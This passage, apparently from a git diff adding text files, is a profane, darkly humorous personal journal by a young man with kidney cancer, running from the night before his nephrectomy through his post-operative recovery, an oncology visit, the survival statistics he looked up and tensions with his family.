trunks. I've walked up it thousands of times, it was one of my +first big excursions, on the way to and from primary school. I get home +and the dog whinges to me, wanting a walk, but my arse is complaining +about its brush with bacterial proteins, tetanus toxin and aluminium +hydroxide adjuvants and I'm not going to walk much tonight. + +I'm getting short with mum. I tell her stuff and she asks questions which +indicate she didn't listen, which is the worst kind of question to ask me +since it makes me uninterested in answering again, making her ask more +questions which indicate she didn't listen the first time. I don't know if +she's going deaf, or senile, or something. Or maybe she's always like that +and I'm getting stroppy. + + +Tuesday, 10am. + +This time tomorrow I'll be on the table, halogen floodlit, peeled open and +hovered over by people who dress in funny green smocks with blue masks, +and wield sharp, disposable blades, various 316 stainless alloy tools, +pass each other the right instruments without asking for them 'cos they're +_in the loop_ and to whom clings the hope of those who would be glad to +see me come out alive. A machine will be doing my breathing for me. I'll +be very thoroughly paralysed, deprived of sensibility, and bits of what +used to be my guts will accumulate, detached, on the table beside me. I +go into the hospital, starved from midnignt tonight, at 6:30 am tomorrow +morning. They carve me up at 9am. + +They reckon it'll take 'em about 90 minutes to take the freakshow out, and +about two and a half hours to get all the lymph nodes and other shit, then +insert a drain and sew me up. Procedures of this length are known as major +ops in the trade. I'll spend about four hours splayed on the table, total. +By a perverse twist of fate, dad will be in the theatre next door, +operating. It won't surprise me at all if he comes over and gives me a +haircut while I'm out. I'm gonna be drugged out of it, in intensive care +for a day after this trauma. I hope someone has the good decency to tell +me what day it is if I wake up. + + + +I popped into dad's office this arvo. I figured I might as well make him +the executor of my will, which should be logistically easy, since I can't +think of any instructions and have no worthwhile stash of desirable +goodies for distribution. His parents wrote him completely out of their +wills, which has pissed him off for about thirty years. I don't know if +it'd be appropriate or ironic to leave all my stuff to him. I figure he +can do what he wants with my stuff, but knowing dad, he'll chuck it out. +What would he do with a climbing rack, a 60MHz CRO, weird computer shit, a +stack of CDs, twice his bodyweight in books, a motorcycle? Nah. I don't +care just yet. + + +There in every classroom, in every secondary school +and in every workplace and every typing pool, +there beside you on the bus with the lifeless stare +nervously outside surgery waiting for doctors there. + +Together, loser. Loser. +Loser, loser, losing, lost. +Loser, loser, losing, lost. + +There's cancer in the south of France +Cancer lurks in Rome. +Cancer circles the whole globe +'Till it finds you home. + +In heart and liver it is waiting +for all of us or most +our very cells join hands and sing +loser, loser lost. + +Loser, loser, losing, lost. +Loser, loser, losing, lost. + +"Lose your Delusion I" (from TISM - the Beasts of Suburban) + + +I'm starting to think I should choose more carefully what I slap on the CD +player. Pink Floyd's "Breathe (Reprise)" sprung out of my speakers and +stopped me in mid-breath. I'm not frightened of dying, either. I'm just +frightened of the pain and stupidity of the likely routes to that end when +the process isn't under my control. I am In Harms Way already, but the +escape route is risky, and includes possible iatrogenic damage (a spleen +is a terrible thing to waste) and nosocomial infection. I hate hospitals +for a number of reasons mainly associated with getting a knife in ya, but +also 'cos they're full of microbes which eat antibacterial drugs for +breakfast... cyclosporins, beta-lactams, chloramphenicols, tertacyclines, +you name it. Rip off a couple of atoms and, Borg-like, assimilate them +into the molecular collective. Humanity trained these microbes to learn +these resistance tricks over the last fifty years by overprescription of +antibiotics, and failure to complete courses thereof. I've seen the +plasmid maps of the antibacterial resistance genes these bugs pass between +each other, molecular cassettes of free software, shared by the bacterial +community to defend itself against the semisynthetic chemical onslaught we +throw at it. If anything gets into me while I'm laid open, I'm up for an +ugly septic cytological shitfight, 'specially if I lose my spleen +somewhere in the theatre. Even if everything goes brilliantly, it's still +gonna fucking HURT. + +Yesterday, the patho lab upstairs did a blood group and hold on yet more +of my brachially extracted claret, but I noticed they didn't ask for a +crossmatch on the stuff they took out of my arm. This is a good sign. +They're not expecting to need to transfuse me. + +I found out that the noise cancelling headphones are three hundred bucks +from Sony, and I think I'll just bring my normal squishy earplugs instead. +Amazingly, for three hundred bucks, they do no digital signal processing +at all - it's all fast analog circuitry. Three hundred bucks is a fuck of +a lot for a small mic, an SMD operational amp and a couple of passive +components on each side of your head. I think I'll have to go track down a +circ diag off the net and go from there. If I get out alive. + + +Welcome to my last shower before The Slashing. I've chemically mowed off +most of my pubic hair with some thioglycolate goop, so some stranger +doesn't have to do it with a razor leaving pointy ends on the hairs, which +would make it more likely to itch when it grows back. It doesn't help the +scar heal if I scratch it all the time. Anyway, I'm not happy to have some +random person doing alien crop circles in my short'n'curlies with soap and +a razor blade. I might get cut. Or hard. Or something. + + +I wake up early tomorrow morning with a load of clothes (black), a +toothbrush, a hairbrush, mobile phone (and charger), Kuhn's "The Structure +of Scientific Revolutions", an artline texta. This will all be waiting in +a black backpack which dad insisted upon my using on the grounds of +hygiene (I can't argue - my main backpack amounts to a nylon-substrate +ecosystem which uses me to get around Sydney, and turns wash water black +when I wash it) - but the black backpack is another of dad's `image' +requirements wrapped up in med-speak justification, and it isn't like I'm +gonna go deliberately smearing my backpack on my wound or anything) but +it's unfamiliar to me, and I've had, and sometimes lived out of, my other +pack for ten years. + +I think the BOEING emblem looks better since I coloured the E and I out of +it. + +Amazing amounts of bullshit went into keeping control of what I finally +put into the pack. My impending hospitalisation appears to have awakened +some long dormant parental pack-yer-kid's-stuff-for-them genes which are +usually only activated when preschoolers are notified of their first trip +to the zoo and need their globites stuffed for the epic land and sea +journey to the far flung gates of Taronga Park. + +As part of her melodramatic propensity, mum went on a pathological ironing +frenzy and presented me with a load of razor-pressed tee shirts and shorts +to wear in hospital - all of 'em are dad's, various pharmo company shit +decked in advertising for such things as implantable contraceptives. I'm +think I'm supposed to be grateful for the work she's done on these things, +given as a gift from the concerned. No offense, but fuck off. I'm wearing +what I usually wear, I pack my own shit, and if I had a religion it would +prohibit ironing. It's all my stuff, 'cept for a dressing gown an +acquaintance wore while they were having their guts chopped out last year, +and gave me for the occasion on the grounds that it will bring me luck. +Which is crap, of course, but it will bring me a better R (thermal +transfer co-efficent) if I wear it. It is an unseasonally cold November. +So I took it. + +Some strange concepts come out when the shit hits the fan. People ring up +and wish me good luck, knowing nothing whatsoever about the treacherous +mathematical randomness underlying such a wish. There is something sort of +equivocal about a cancer patient saying luck isn't something they've had a +lot of lately, since I did spot the thing, too, hopefully in time to chop +it all out. Nobody seems to notice the contingent Markov chain: in order +to `get lucky' and spot cancer in time to head it off, you have to `be +unlucky' and contract the disease first. + +Yea, verily, stochastic processes giveth, and stochastic processes taketh away. + +Three people rang me up this evening and said they'd pray for me, which +I'm sure will make them feel better but otherwise be a waste of their +perfectly good CNS activity. + +One gave me a couple of quotations from, if memory serves me correctly, a +little tome called Life's Little Instruction Book, a million-selling +publication which I recieved as a present over a decade ago and +disgustedly flung in the garbage as a collection of meaningless, and in +some cases self-contradictory aphorisms. + +Someone else, a rello, rang up, concerned because their mum called them +after my mum blabbed to their mum about my illness. We ended up having a +long rant about oncogenic cervical viruses and tumor processes in general. +She said she would worry about me, and I said that would have no impact on +me, and she should just rock on down to BOC Gases, lug home a cylinder of +nitrous oxide, crack open the reg' and just try and fuckin' relax. She +thought that was kind of funny. I hope she doesn't light up a spliff at +the same time, since NOX is known for its propensity to, uh, vigorously +accelerate combustion. + +An old workmate of dad's rang up, and asked how I was, but I couldn't +identify him by his voice on the phone, and I answered, `That depends on +who you are. So who are you?' Eventually he coughed the beans. I knew he +knew what I was in for. "I am up for a ghastly slashing - rad nephrectomy +minus optional extras." This dude's a surgeon too, and he knows the +outcomes are not down to luck either. + +As confused and crazy as they all seem, being aware that people give a +shit does feel good in an egocentric sort of way. But why do they do it? +Do people feel bad if they don't tell me they're worried? I'd much prefer +people just got on with their lives, heedless of my problem, not worried. +I'll tell 'em the news when it's all over. + +In a few hours I'll wake up, get over to the hossie, sign in and dump my +junk. I'll be running a circulatory system increasingly full of +catecholamines, and the cerebrospinal fluid sloshing around my ventricles +will be sodden in home-grown neuropeptidyl trepidation. But fear is OK +provided it can be kept under some sort of control, and I can do that. +Dad blocks all inquiries as to his state of mind, and appears unreadable, +which is worrisome. Makes me feel like he's masking something. + +I don't know what to do about mum breathing her cigarette-flavoured, +desperation-tinted, canned wisdom in my direction, borne aloft on a +wheezily delivered aerosol of pathogens freshly exhaled from her +disintegrating, tobacco-plundered alveoli. She's had some hellish bodily +slashes too, in her life, but I know already what I'm in for and it isn't +gonna help to have her dissolve in front of me. I feel for the poor thing, +but I'll be glad to see the back of her weepy preoperative histrionics +when the orderlies mercifully shoo her out of the ward. I'm not equipped +to look at them, they're terribly contagious, and more than anything else, +I don't want to catch the vibe they harbour within. + + +At half-eight, they'll stick in a main line, get me into the drapery, get +me onto a gurney and wheel me down to the OR. I'll be strongly inclined to +sing this as I glide along the corridors: + + +The angel of death hovers overhead. +My family come gather round my bed. +Come my colleagues, come literate friends +here is my life wish as my life ends - + +I wish I'd slept with more girls. +I wish I'd done more drugs. +I wish you'd all go and get fucked. + +(Professor Derrida Deconstructs - TISM "Faulty Pressing Do Not Manufacture") + +provided, of course, I can stop laughing long enough to get the words out. +Stuck in the circumstance, it will hit me as astoundingly silly that the +last thing a considerable proportion of the community sees before they die +is hospital ceiling tiles. It's also the first thing they see again if +they survive their surgery. You are on a planet of pressed, painted, +rectangles of suspended bagasse. What a reason to bother to regain +consciousness. I'll be glad to see them again. Who'da thunk it. + + +I won't need to pack the texta: from my {umops apisdn} perspective with +respect to the intended audience, I got it right on the first go. Since +dad's on a medical tribunal which hears cases in which doctors are +dismissed for rank incompetance, I've been exposed to too many shocking +stories of instruments left in, wrong organs removed, wrong ops performed, +to not try and help out all I can. So on my right abdomen is inscribed a +morbid joke so bad it could almost serve as an epitaph, but if it works, +it won't need to. Hopefully they'll see it after I lose consciousness. + + + . . + . + \_/ + +PLEASE +OPEN +OTHER +SIDE + --> + +(I had to do it like this 'cos it wouldn't all fit across my abdomen). + +Gimme the succinyl choline, Captain Snooze, let's get it fuckin' over with +while I can still maintain the delusion that I'm really not scared shitless. + + + + + + +(next in the series is conway.cat.org.au/~predator/gutted.txt) diff --git a/hunting.txt b/hunting.txt new file mode 100644 index 0000000..329bf6d --- /dev/null +++ b/hunting.txt @@ -0,0 +1,1208 @@ +File: hunting.txt +Cont: 13 days post-operative +Date: 10th Dec, 2003 +Music: Electric Light Orchestra - Out Of The Blue, Discovery, + +Preen really does remove tough stains fast. I tried it on the sticky +squares of gunk left over from where my i.v. lines were taped on, and the +stuff came off easily. + +Woohoo, tomorrow I get to hoe into fatty foods again. I have missed +dietary fat a lot these last two weeks post-op. I am still a bit gaunt, +but since the bathroom scales exhibit neither precision nor accuracy, I +can't tell if I've lost or gained mass while, all week long, doing not a +lot more than sleeping and eating. My cheeks are a bit sunken, and the +little bits of fat on my arse are sort of caved in, as if all the +adipocytes were mysteriously poached in the dead of night by a feral +liposuctionist. Joss is right. There's no way I'm gonna give up cake +either. Or waste perfectly good hash cookies. OoohAhhh. + +I am tempted to smear a massively fattening chocolate cake in lard, spray +it with olive oil, dunk it in WD-40 and oh, I dunno, roll around in it for +a few minutes before actually eating it, so I can have the fun of licking +it off my arms. Fat gets a lot of bad press, and I'm not gonna be one to +besmirch it. Where do you get your cell membranes, your tissue padding, +your clotting factors, your steroid hormone precursors, your lipid-soluble +vitamins, and your chance to experience puberty? Dietary laaaard, matey. +But that's tomorrow. My documentation at the moment is gonna be about the +last week, which was pretty much fat-free. + +It's been a slow climb out of bed. Finally I can sleep on my belly, but +it's a bit tight, a smidge painful. I found my old navel under a crease in +my eleven inches of scar, which is healing nicely but is a tad uneven. I +don't know if this means I have two navels, but it probably doesn't. The +stitching is designed to dissolve in-situ after a few months, which is +good, I don't have to be exposed to any trauma and infection risk +getting it taken out. + +Navel contemplation aside, I can walk the dog and have been doing so +partly to get the hell out of the house for exercise, and partly to +pre-emptively escape the dog's asphyxiatingly putrid farts which I +generally only find out about after it's too late to make an effort to +avoid them. I don't use the leash, tho. She wanders around, self-propelled +and voice activated, distracted only occasionally from her doggie +navigational imperatives to pick a fight with a cat or shove her snout +into any excreted olfactory intrigue abandoned by her kindred on the +manicured lawns of Blakehurst. + +I've lost muscle mass - keeping active is the only way to restore it. Even +though I am eating like a fiend, I feel languid, decidedly +unenergetic. This is partly because my bod is allocating resources to +healing the wounds, and partly 'cos I've not been deriving energy from +dietary fat, so I've been converting proteins into glucose in order to run +my Krebs cycle. This is sort of wasteful and stupid 'cos it just reverses +all the effort my bod put into synthesising these muscles in the first +place, but it keeps me alive. There's another possible reason why my +muscles are disappearing but I'll get to that later. + +Getting outside was also good since it let me intercept some short rays +from the big thermo' nuke in the sky. UV gets bad press, too... the +shorter wavelength stuff deserves it, thymidine-dimerising evil that it +is, but the slightly longer segments of that spectrum are an important +part of my calcium metabolism, the not-so-short-wavelength UV photons do +one of the molecular transformations required to produce the precursor for +calciferol. + + +I feel a bit old - in my present state, the dog outruns me, since I walk +at about the same pace as Dad does, and he's 70 and has a buggered knee. +My gait's changed, I'm a bit bow-legged when I walk because this cushions +the heel-shock of each footstep which otherwise upsets my guts; I'm a bit +bent-forward since the scar is slightly shorter than the length of gut in +which it's embedded, so my weight's thrown a bit forward of where it +usually is, and will be until I can stretch my abdominal muscles back to +their pre-slash length. Given time, these things will return to normal +with exercise. + +On the weekend Dad and I went up to his offices to paint out some +graffiti... a half-litre tin of paint presents no serious weight to carry, +so I offered to do it. The building is wedge-shaped. On one side of +the wedge there was this graffiti: + +Fuck off u arab cunts + +and on the other side there was: + +Fuck off u jewish cunts + +If the writing on the walls is anything to go by, it appears Australia is +still egalitarian but nowadays it's because we hate everyone equally. +This graf appeared on thursday, on top of the sections of graf I had +painted out a week earlier. + +By the time we got there, the jewish hubby of another person who works in +the building had arranged to paint out the `fuck off u jewish cunts' +section. I don't know if the other bit was left there accidentally or not, +but I suspect the former. I conjectured to myself that I could make it +completely equalitarian by leaving the fuck off and painting out the +remainder, but I painted it all out, not wholly convinced that +painting it over really would make it go away. The middle-east peace +process needs all the help it can get. + +Later we went to get pizza (you find me a fat-free pizza and I'll show you +a foodstuff not worthy of eating) and opposite our local pizza shop were +about fifty uniformed cops waddling around a taped-off carpark, guarding +an equal number of spent 9mm shell cases scattered around the tarmac, +where a couple of dudes had decided to have a go at each other. If they +lived long enough to use fifty rounds they can't have been very good +shots, but then pistols are hard to aim properly in the calm of a firing +range, let alone in the heat of conflict. + +This is not the same neighborhood as the one I grew up in. + +Sneezes still hurt a lot, so I asked them not to put any pepper on the pizza. + + +Wednesday 10th: + +I nosebled into my cornflakes this morning. I can't say it influences +their flavour very much. + +I went to a restaurant, to attend the christmas party/dinner thingo held +for the handful of staff at the office, because today was the day I could +eat fatty foods again. Oohhh, and didn't I? I think the concerted effort +of ingesting about a cubic foot of penne boccianola knocked me over, +though. I hadda go out and lie down in the carpark before declining a +desert which I couldn't possibly deal with since I was stuffed to the +pylorus with FOOOOOOD, yay! Looking suspiciously like a pissed businessman +in my borrowed tie and shiny black shoes, I lay on the shaded concrete +between a couple of parked cars, gazing happily at the sky, lacking only a +puddle of explanatory vomit. I swear I could feel the oils and triglycerides +pumping around my arteries. Gaaaah. Bliss. + +I spent some of last night trawling the electronic online oncology +journals. Blissed out and in the no-care zone on account of the chunky +lode of lipid laden nourishment I was in the process of absorbing, I +mentioned in passing to the oldies some of what I'd found out (you'll get +it in a paragraph below) about how this cancer tends to uh, progress. +I didn't catch their expressions, I was staring at the fluffy upholstery +on the ceiling of the car as we drove back from the restaurant. + + +Thu, 11 Dec 2k3 +Music: Front Line Assembly - Mindphaser (four-track EP) + +The narrow strip of my inner right thigh which was oddly insensate (fed by +a branch of the ileoinguinal nerve, which along with everything else was +stressed somewhat when my casing was opened up) has returned to normal. +However, I'm still shooting blanks. This is apparently because some (sorry +I don't know the name for them) of the nerves involved in signalling the +emission of liquid rugrat precursor from the seminal vesicles into the +urethra prior to peristaltically forcing it out the end of my end, were a +bit upset when Paul peeled some of the cancerous pieces of lymphatic +system off them. Can't say I blame them. + +This is something which, hopefully, will reconfigure itself in the coming +weeks. If it doesn't, well, heh - in a roundabout way, this creepy disease +will have blown any chance it had of inflicting itself on any descendants +I might have otherwise initiated between now and when it eventually carks +me, if it had any genetic propensity to begin with. Which I think it must +have. I can't think of anything I did to encourage this... I don't smoke, +expose myself to cadmium, coal tar, phenacetin, or most of the other +things by which RCCs (Renal Clear Carcinomas) are known to be provoked. In +the absence of some rather pointless DNA testing, there's no way to really +know if it's inherited. Cells are heinously complicated things. Run any +digitally replicating metabolism for long enough and some of it will +eventually turn metastatic under the damage load it accumulates from the +environment. + +At this point, the litigious types among the readership would smell an +opportunity to enrich some bastard lawyers suing the medicos for an +negligent accidental sterilisation. If you are one of these people, ask +me over to your place so I can smack you one. I'm an ungrateful bastard +about a lot of stuff, but to sue the dudes who just extended my life by +chopping the renal equivalent of Benito Mussolini outta my flank is really +just beyond tolerable bad manners. + +(I was gonna type saved, where you see the word `extended' above. But I +think, actually, that would be stretching the statistical truth.) + + + +I went along to an oncologist on today. Dad went with me, and fell +asleep (upright - neat trick) in the chair adjacent while the cancer +specialist did the blurb. This is partly because dad's already come to +his own conclusions about what I have based on his own clinical +experiences of cancers which have made it into people's lymphatic system, +and partly because he spent a lot of the night doing surgery on someone +and he needed sleep. He's talked to oncologists before, anyway, and knows +what they tend to say. The only thing he inherited from his oldies was a +propensity for bowel cancer, which many years ago slew his old man, his +uncle and a few others besides. So every so often he gets a camera stuck +up his quoit and fed through his large intestine, to look for polyps and +adenomas and other things which, if left to their own devices, would kill +him. Not exactly Australia's funniest home video, but it's saved him +several times. He eats a breakfast which amounts to a soy milk solution of +woodchips and sawdust, since this is correlated with reduced bowel cancer, +but also causes reduced iron uptake and unpredictable raucous farts. + +I listened intently, but, being a smartarse molecular biologist with an +interest in cancer long before I had any of my own to care about, I didn't +hear a lot I didn't already know. Sometimes, you can lose the primary +tumor and any mets (short for metastases - secondary tumors which +originated in cells flaked off the primary mothership in my now absent +kidney) die - there's some poorly understood protein signalling going on +between the primary and the secondaries, which, when blocked or removed, +tends to result in the mets failing to thrive. + +Interferon at this point is about as likely to be useless as not, and even +if it is useful it'll extend my cark-by date by no more than a year, not +actually cure me, and probably make me sick as a dog while I'm on it. If +any mets I have are going to turn up, they'll do it anywhere... muscles, +skin, bone, brain, liver, you name it. + +Yeah, blah. I can tell from what he doesn't say, the dude is not a +molecular biologist. In mathematics, the term "math-out" (c.f. white-out, +as in, snowstorm) is used to describe presentations so drenched in formal +notation as to be impossible to understand - which means the explanation +is a failure since nobody actually learns anything from it. The cellular +metabolism, and epidemiology of cancer cells is another subject in which +one could easily inflict a biological chem-out on a hapless layperson, and +I dunno if oncologists are trained to keep it simple just to help their +charges comprehend what it is they face, but I *wanted* the meaty, gritty +technical explanation. + +I asked questions which should have raised the dude's radar about my +pre-existing awareness. E.g. I scanned the titles on the book spines on +the bookshelf... and asked "Hmmm.. Steven Rosenberg... hey, isn't he the +chap who did all that work with recombinant interleukin-2 and LAK and +tumor infiltrating lymphocytes in the eighties?" and even threw in +explanations about why what little he did say was correct, "Yeah, this is +unpredictable 'cos the met cells have accumulated lots of errors, add new +errors each time they do mitotic division 'cos their DNA repair and +copying systems are mostly broken, so it's hard to know what's gonna grow +and what isn't, or when, or how fast, right?" but, aside from getting the +occasional, "Right" and "Yes" it didn't provoke any improvement in his +signal-to-noise ratio. Maybe over the years he's copped negative feedback +from patients about the incomprehensibility of the actual machinery of the +disease when he explained it and now has adopted a strategy of keeping it +simple. + +As ruthlessly insensitive an interrogator as I can be when I really want +to know something, I am not in the habit of asking medical people +unreasonable questions, such as, what are my odds, or how long have I got +to live - since there's no way for them to know and I can cull what I need +to know about these things directly from the scientific journals, which is +where they find out in the first place. There are some things we cannot +know. Time will tell me anyway, eventually, but I'd like to have some idea +now about wether to keep living, or to prepare for death. + +The 'net is a corporately controlled wasteland these days, the information +superhypeway has tolls at all the interesting offramps. The stuff I really +wanted to look at is hosted by blackwell-synergy.com but it's +subscriber-only. I ended up trawling EMBL and a few other mol bio places +before digging out what I wanted. If I'm going to exercise any +selbstbehauptungswille it will help to know the enemy. + +Actually, knowing the enemy might help you, the reader, get a clue about +why I'm not kidding myself that I'm gonna survive. You might not be +familiar with it. Cancer is the ultimate diesease, dynamically adapting in +real time to every new threat you might present to it - its effectively a +virus which also happens to run its own metabolism, which you gave it in +the first place. + +So here's the condensed version, mostly cleansed of mol bio speak and +chromosome-jockey jargon, in approximately increasing order of +shitfulness. + +Blokes get RCC (renal clear cell carcinoma) twice as commonly as women do. + +Most people who get RCC get it after they're sixty (I'm waaay ahead of +the curve). + +Spontaneous remission happens in about one percent of cases. + +RCCs eat radiation for breakfast. + +The usual cytotoxic chemo drugs (eg, peptide synthesis blockers like +cyclophosphamide, etc) and the immunostimulant chemokines aren't much chop +against it and make ya sick when you're on 'em. Actually, come to think of +it, attacking the tumors with nuclear emissions and chemo usually just +kills the weaker of the cancer cells leaving behind the really tough-arse +tumor cells which were strong enough to surive these attempts at being +nuked and poisoned. What doesn't kill it outright makes it stronger by the +usual Darwinian laws. + +Surgery works well if the cancer is localised to a single spot. Chopping +it out was a good idea since there's now several hundred billion tumor +cells I don't have. I wish them all the very best in their new career as +incinerator fuel. + +RCC tends to metastatise (as borne out by my histology report). About a +third of people *already have* cryptic (hidden) mets already when the +primary is removed. Most of the metastases appear within a year of removal +of the primary. + +RCC metastatic behaviour is bizarre and unpredictable. The metastases are +genetically highly variant and as such are an immunologically changing +target - averaging about eight (!) changes per sample compared to the +genetic makeup of the primary tumor. + +So I can go right ahead and vaccinate myself with the tissue taken from +the primary (or derivatives thereof) but this would train my immune system +to act against a target which is longer there, or only a few of the total +available targets. Arrr... I thought I had its number, but apparently I +do not. Well, not enough of it, anyway. + +Not only are the primary tumor and the secondaries are not identical +genetically, the various secondaries (the actual metastases themselves) +are also not even genetically identical to each other, 'cos as they clone +themselves up, they make errors in copying their nuclear material before +passing it on to the next generation of metastatic cells. + + + +Cancer is an information systemic process. + +The sort of error-correction failures intrinsic to this genetic change +process are fundamentally the same ones which allowed the DNA in one of my +kidney cells to become cancerous (uncontrollably proliferative) in the +first place - breakages in the genes encoding for the proofreading +proteins in the DNA polymerases, failure of p53 to control the +cell growth cycle, failures to express proteins which do the +usual excision-repair and other processes typically used by cells to patch +DNA damage, that sort of thing. + +The failure of these error-correction systems result in the breakages in +promotors / repressors for genes, or the breakages in the genes +themselves, which actually make a cancer cell cancerous: p53 failure, +inappropriate activation of telomere repair, inability to do apoptosis, +inappropriate constitutive proliferation, constitutive angiogenesis, etc +etc. So the errors accumulate, but they sometimes act in favour of the +cells in which they accumulate. + +You would expect this. A tumor which didn't mutate (that is, one which +still had functional error-correction genes) certain parts of itself on +the odd occasion would eventually be spotted, and either be enzymatically +clubbed to death, proteinaceously perforated and abandoned to spill its +miserable cytosol into the surroundings, or actually engulfed and digested +alive (what's good for the goose, you might say), by various kinds of +macrophages which had recognised it as somehow proteinaceously awry. If it +didn't mutate, future generations of itself wouldn't learn any of the cool +tricks which enable it to punch holes in the immune system, sequester my +infrastructure and oh, you know, generally take over the world, which is +the natural ambition of all living things on the planet. The process +selects for its own viciousness. + +The cells which do escape surveillance, get to be the surviving metastases +which turn you (well, me, actually) into a failing life support system for +an exponentiating army of nodules great and small. + +The same "make errors, mutate to survive" strategy is used by viruses - +they exhibit error-prone copying when they invade cells. Usually viruses +carry a gene encoding their own error-prone polymerase, since the +DNA-copying polymerases in the invaded cell exhibit relatively high +fidelity, which is not in line with the virus' survival strategy of +producing thousands of slightly descrepant copies of itself - some of +which are real winners. + +The error-proneness frequently cripples many of the next generation of +viruses (and tumor cells, for that matter - they are pushed over their +error-catastrophe threshold and die one of the many specific kinds of +biochemical process failure related deaths available to complex things +such as cells), but occasionally it generates a prodigy - one that can +reproduce faster, or hide from immunosurveillance, or which is resistant +to various drugs. When the prodigy spawns its own daughter cells, most of +them inherit whatever serendipitous molecular magic stumbled upon by its +forebear. Natural selection is the mother of invention. + +Thousands of tumor cells, flawed by a misplaced nucleotide in a critical +spot, screw up and die, but that's the price evolution is prepared to pay +for the development of new cells which discover, by fortuitous accident, +how to survive in the changing immunological environment. + + + + +As a result of this error-proneness, even generating a vaccine from any of +the lymphatic secondary stuff we chopped out wouldn't help terribly much, +inasmuch as it would represent only one of several possible targets +against which immunosystemic activity could be directed. + +The bit I looked at several times before it really sunk in, and which I +would not believe except I know that tens of thousands of people had to +acquire, and die from, what I have now before the mid-1990's researchers +could get enough statistical confidence to publish this statistic, is +this: + + +About 80 percent of people with regional lymph node metastases (Stage +III RCC, what I have) are dead within five years of their nephrectomies. + + +There's a four to one chance I will be amongst the culled by 2008. I do +not know in which group I am. I will probably know with greater, but not +complete, certainty in a couple of years. Or maybe a couple of months. + +I'm not a gambling man, since I've always construed gambling as a tax on +people who didn't understand statistics - the way to win was not to place +a wager. But if I had to put money on my chances of long-term future +survival, I'd be betting against it. + + + +--- + +I popped over to Merro's place in Chippo. She's just had a lump +chopped out of her breast. I'm glad she found it early enough to remove it +before it spread into the rest of her. Lou fed me some yummie pasta, and I +nosebled into it, which is pretty rude. Poor Merro.... but at least she +paid attention to her family history. It's probably saved her life. + + +--------- + +Cool things about dying young: avoid all the stupid diseases of +old age... teeth falling out, arthritis, erectile failure, senility, and +the worst one of all, the crushing solitude of being alone when all your +friends are all dead of old age. And what a tax dodge! + + + +The shittiness of the prognosis varies, depending where you look, and a +lot of the same numbers keep showing up everywhere, partly I suspect 'cos +these guys read each other's papers. Want a terrifyingly recent paper? Go +look at Campbell, Flanigan, Clark; Current Treatment Options in Oncology, +2003, 4:363-372 + +Median survival time, 6-12 months, 2 year survival rate 10-20%. + +Oh, shit, I'm gonna die. 5 years I could cop. 2 really sucks 'cos half of +it will be spent getting weaker and feeling shite. + +I chucked in that reference above since, sometimes, I have told people the +odds and they ask me, as if to dispute their belief in my ability to tell +the truth, where did I get that statistic? I could mention the others, but +you can find them as easily as I did. Go look for yourself. Would I lie to +you? + +I notice there's not a whole lot I have discovered as concerns what the +survivors did differently to them who died. I guess it's hard to intervew +the dead for comparison purposes. + +Two things slightly in my favour: this probability is based on 1) a +population of Americans, who eat poisonous crap in their foods (but I'm an +Aussie, so to a large extent, so do I) and 2) most of the people in these +studies are twice my age. + + + +I've read enough for the time being. Time to think. + +---- + + +"Sell out, sell out wherever you are, sell out and be like me, +with a quarter-acre suburban lot and a nice colour teevee. +I threw away my skateboard, and got a Commodore, my jingo! +I'm sittin' in it, right about now, with exhaust pipe in th'window." + +-This Is Serious Mum - De Rigeurmortis + + +Um, no. Unleadded smells disgusting. + +On Saturday I was typing in some responses to emails and I nosebled +unexpectedly, but it didn't show on my black shirt and camo pants. What +the hell's annoying my schnozz like this? I motorcycled to Newtown with a +fellow admirer of flab-o-genic foods and ate, amongst other things, +chocolate impregnated lard masquerading as cake in a quantity probably +sufficient to kill a starving elephant. Oooh it was good. I'm glad to be +motorcyclin' again, even though the lumps and bumps in the road provoke +stabbing pain in my internals. So I'm riding the machine in a manner more +like that of a horseman, standing slightly in the seat, taking load on the +footpegs instead of my arse, since the suspension is still configured for +my previous incarnation - a rider with tougher internals. I wanted to get +out on Friday but it was pissing cold rain all day, and saturday was a +blazing sunny day, so I whizzed out to visit the old granny matriarch who +used to send me shortbread biscuits when I was imprisoned in boarding +school back in the 1980's. + +I go out and see her every so often when I'm near Randwick, 'cos it +probably sucks to be 91 and blind and arthritic and sciatic and more or +less abandoned by one's family. She's outlasted two world wars, a husband, +and bowel cancer. She loves it when I come over 'cos getting old and dying +in a building full of the unmistakable smell of disintegrating old people +weeping volatile nitrogenous compounds into their surrounds as their +metabolisms gradually collapse is a lonely excuse for a life. I am glad +not to be among them. + +There is a certain cred she apparently derives amongst her aging inmates +for being visited by a scruffy leather jacketted motorcyclist, but more +importantly I bring news from the outside world, which she can trade with +the few people who see her. Word gets back to me, via the family 'fone +grapevine, that she loves my visits. Juicy goss is the currency of the +imprisoned. Imprisoned she is, and goss don't get much juicier than this. + +I rode out there to tell her in person 'cos yesterday mum was doing her +suffering martyr routine. Mary rang her up enquiring as to my absence, and +mum didn't break the news. Good - I told her not to, in advance, last +week. Mum was now expressing to me that she would _just have to_ Break The +Bad News to ol' Mary about it and went through several permutations of +specious reasoning about this to me, all of which I flatly rejected, and +about which I eventually got cranky. She can only possibly be doing this +for the gratification of being the bearer of someone else's bad news. It +shits me that she asks me to show my angry red belly scar to various +friends of hers whom I have never really met. She got pretty cranky when I +told her the only reason I could think of that she was pulling this +`dutiful bearer of sorrowful news' routine (when she refused to tell me +when I asked her) was that she was gettin' mileage outta my illness. She +usually gets this cranky when I'm right, and I know it, and there's no way +she can wriggle out of it. When this happens, she lies to dad about it, +who generally chews me out later. Which he attempted to do, and failed, on +the grounds that it happens I'm right. She *is*. The question is why. + +Maybe mum's doing this because she herself is in need of some support now +that it's finally sinking into her head that I am a condemned individual, +and have damned good reasons to not be walking around cheerfully. But she +won't tell me that. WHY wouldn't she just be straight up about it with +me? I'm being straight up with her about what I'm in for. Maybe she just +can't accept what's happening, even if she does understand it. + +Mary took it pretty well, considering. Maybe it's because she's one of the +few people I will probably outlast. + + +Dec 14th, 2k3 +------ +Dad is a master of understatement. He comes in on sunday morning while I'm +still asleep under the doona, and says "Sorry to be a nuisance, but could +you swap the cars over? Mum's gonna take me to hospital, I've been +shitting blood since midnight." + +For fuck's sake. This is precisely why I got a license to drive cars three +weeks ago but I'm useless anyway. I swapped 'em with some difficulty, +cranking my head around to reverse out the curvy driveway is another +recipe for laparotomy pain. Collect the set. + +Normally I don't reveal the state of my old man's guts to the public, +since they're really not mine to talk about. But it sort of ties into the +generally shitful state of affairs around here. + +Dad had a colonoscopy last week. A polyp (pre-cancerous lump o' bowel +wall) was successfully chopped out but he has now started bleeding out his +arse. It really sank in properly when I went for a leak (normally I piss +on the lawn, there's a drought on, and water restrictions have been +imposed) and saw a spray of his circulation coagulated 